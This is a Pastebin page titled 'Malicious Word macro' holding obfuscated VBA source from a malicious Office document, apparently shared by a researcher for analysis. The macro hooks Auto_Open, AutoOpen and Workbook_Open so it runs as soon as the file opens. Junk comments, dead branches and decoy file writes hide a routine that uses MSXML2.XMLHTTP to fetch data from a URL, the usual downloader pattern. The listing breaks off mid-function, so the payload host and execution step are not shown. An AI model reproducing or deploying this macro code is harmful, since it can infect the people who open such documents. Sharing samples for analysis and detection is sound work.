Advertisement
dynamoo

Malicious Word macro

Oct 31st, 2014
706
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 55.55 KB | None | 0 0
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  10. Sub Auto_Open()
  11. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  12. If 753449 = 753449 + 1 Then End
  13. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  14. If 5918 < 16 Then
  15. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  16.  
  17. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  18. GoTo wJUEwWEZ
  19. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  20. Dim gicgszKy As String
  21. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  22. Open "PGHTNB.LUF" For Binary As 31
  23. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  24. Put #31, , gicgszKy
  25. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  26. Close #31
  27. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  28. wJUEwWEZ:
  29. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  30.  
  31. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  32.        MsgBox ("iZEfAOYB67")
  33. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  34. End If
  35. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  36. If Len("JZaDfNPF8372") = Len("lyRawvpw") Then
  37. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  38.  
  39. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  40. GoTo XKeWIkYg
  41. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  42. Dim nDPhXDvu As String
  43. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  44. Open "HTXTJJ.HZC" For Binary As 57
  45. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  46. Put #57, , nDPhXDvu
  47. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  48. Close #57
  49. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  50. XKeWIkYg:
  51. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  52.  
  53. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  54.       MsgBox ("Error !!!")
  55. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  56. End If
  57. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  58.  
  59. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  60. GoTo SBClCZXD
  61. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  62. Dim jWRDpCDR As String
  63. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  64. Open "QILJBX.QTM" For Binary As 38
  65. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  66. Put #38, , jWRDpCDR
  67. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  68. Close #38
  69. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  70. SBClCZXD:
  71. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  72.  
  73. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  74. SEDOZBUDOXP
  75. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  76.  
  77. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  78. End Sub
  79. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  80. Sub AutoOpen()
  81. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  82. If 675494 = 675494 + 1 Then End
  83. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  84. If 7395 < 91 Then
  85. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  86.  
  87. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  88. GoTo wWkDBHNS
  89. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  90. Dim NHBissKE As String
  91. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  92. Open "PHIPFX.EER" For Binary As 32
  93. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  94. Put #32, , NHBissKE
  95. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  96. Close #32
  97. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  98. wWkDBHNS:
  99. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  100.  
  101. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  102.        MsgBox ("mEDZSlNX12")
  103. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  104. End If
  105. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  106. If Len("zLJAWSXg1668") = Len("XshyFKoZ") Then
  107. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  108.  
  109. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  110. GoTo maJDvKmu
  111. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  112. Dim fjIvgBOP As String
  113. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  114. Open "OLWPAC.LQL" For Binary As 23
  115. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  116. Put #23, , fjIvgBOP
  117. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  118. Close #23
  119. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  120. maJDvKmu:
  121. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  122.  
  123. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  124.       MsgBox ("Error !!!")
  125. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  126. End If
  127. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  128.  
  129. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  130. GoTo vZMAjFuj
  131. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  132. Dim kLQdiWxM As String
  133. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  134. Open "QUCRCW.WBW" For Binary As 38
  135. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  136. Put #38, , kLQdiWxM
  137. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  138. Close #38
  139. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  140. vZMAjFuj:
  141. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  142.  
  143. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  144.    Auto_Open
  145. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  146.  
  147. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  148. End Sub
  149. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  150. Sub Workbook_Open()
  151. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  152. If 583623 = 583623 + 1 Then End
  153. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  154. If 9526 < 51 Then
  155. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  156.  
  157. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  158. GoTo YIChqRjK
  159. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  160. Dim sETPcNoP As String
  161. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  162. Open "IBMHTC.KJK" For Binary As 25
  163. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  164. Put #25, , sETPcNoP
  165. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  166. Close #25
  167. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  168. YIChqRjK:
  169. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  170.  
  171. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  172.        MsgBox ("XMAxWLeS65")
  173. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  174. End If
  175. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  176. If Len("dteRCZlM1466") = Len("FIYJtaKA") Then
  177. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  178.  
  179. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  180. GoTo jcKPSJzw
  181. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  182. Dim XlntBdLf As String
  183. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  184. Open "NMJNLR.NKJ" For Binary As 83
  185. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  186. Put #83, , XlntBdLf
  187. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  188. Close #83
  189. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  190. jcKPSJzw:
  191. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  192.  
  193. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  194.       MsgBox ("Error !!!")
  195. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  196. End If
  197. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  198.  
  199. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  200. GoTo uRSiazjM
  201. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  202. Dim SbmZfxiQ As String
  203. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  204. Open "ZIKMGZ.WWF" For Binary As 98
  205. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  206. Put #98, , SbmZfxiQ
  207. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  208. Close #98
  209. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  210. uRSiazjM:
  211. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  212.  
  213. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  214.    Auto_Open
  215. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  216.  
  217. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  218. End Sub
  219. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  220. Function APLJNHMVHUY(ByVal CYODHVTJUVC As String, ByVal SKXFFXVBUFG As String) As Boolean
  221. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  222.     Dim BEOCPNNRSPU As Object, ONIQCJCMVLU As Long, XWAMIBOZGAS As Long, VWKPFFGVDDM() As Byte
  223. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  224.  
  225. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  226. If 318357 = 318357 + 1 Then End
  227. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  228. If 9932 < 93 Then
  229. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  230.  
  231. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  232. GoTo tJOloeGL
  233. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  234. Dim OSjFxcUQ As String
  235. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  236. Open "MRSKTO.MAD" For Binary As 66
  237. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  238. Put #66, , OSjFxcUQ
  239. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  240. Close #66
  241. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  242. tJOloeGL:
  243. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  244.  
  245. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  246.        MsgBox ("flpFlZwB75")
  247. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  248. End If
  249. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  250. If Len("fcptdAyB3295") = Len("oHIPyUls") Then
  251. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  252.  
  253. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  254. GoTo fHdiEJTB
  255. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  256. Dim KQMZHdxJ As String
  257. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  258. Open "BEASGR.IXB" For Binary As 86
  259. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  260. Put #86, , KQMZHdxJ
  261. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  262. Close #86
  263. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  264. fHdiEJTB:
  265. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  266.  
  267. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  268.       MsgBox ("Error !!!")
  269. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  270. End If
  271. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  272.  
  273. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  274. GoTo HZCgfhxQ
  275. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  276. Dim mcTOnQgE As String
  277. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  278. Open "DXMGUH.EBX" For Binary As 44
  279. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  280. Put #44, , mcTOnQgE
  281. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  282. Close #44
  283. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  284. HZCgfhxQ:
  285. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  286.  
  287. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  288.    Set BEOCPNNRSPU = CreateObject("MSXML2.XMLHTTP")
  289. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  290.  
  291. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  292.    BEOCPNNRSPU.Open "GET", CYODHVTJUVC, False
  293. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  294. If 276926 = 276926 + 1 Then End
  295. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  296. If 6559 < 21 Then
  297. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  298.  
  299. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  300. GoTo nlGWBnKx
  301. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  302. Dim lOYYGUuN As String
  303. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  304. Open "SZMDFF.TGH" For Binary As 36
  305. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  306. Put #36, , lOYYGUuN
  307. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  308. Close #36
  309. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  310. nlGWBnKx:
  311. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  312.  
  313. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  314.        MsgBox ("TGXJCuiQ34")
  315. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  316. End If
  317. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  318. If Len("XNcBVHvL9724") = Len("cEasugCb") Then
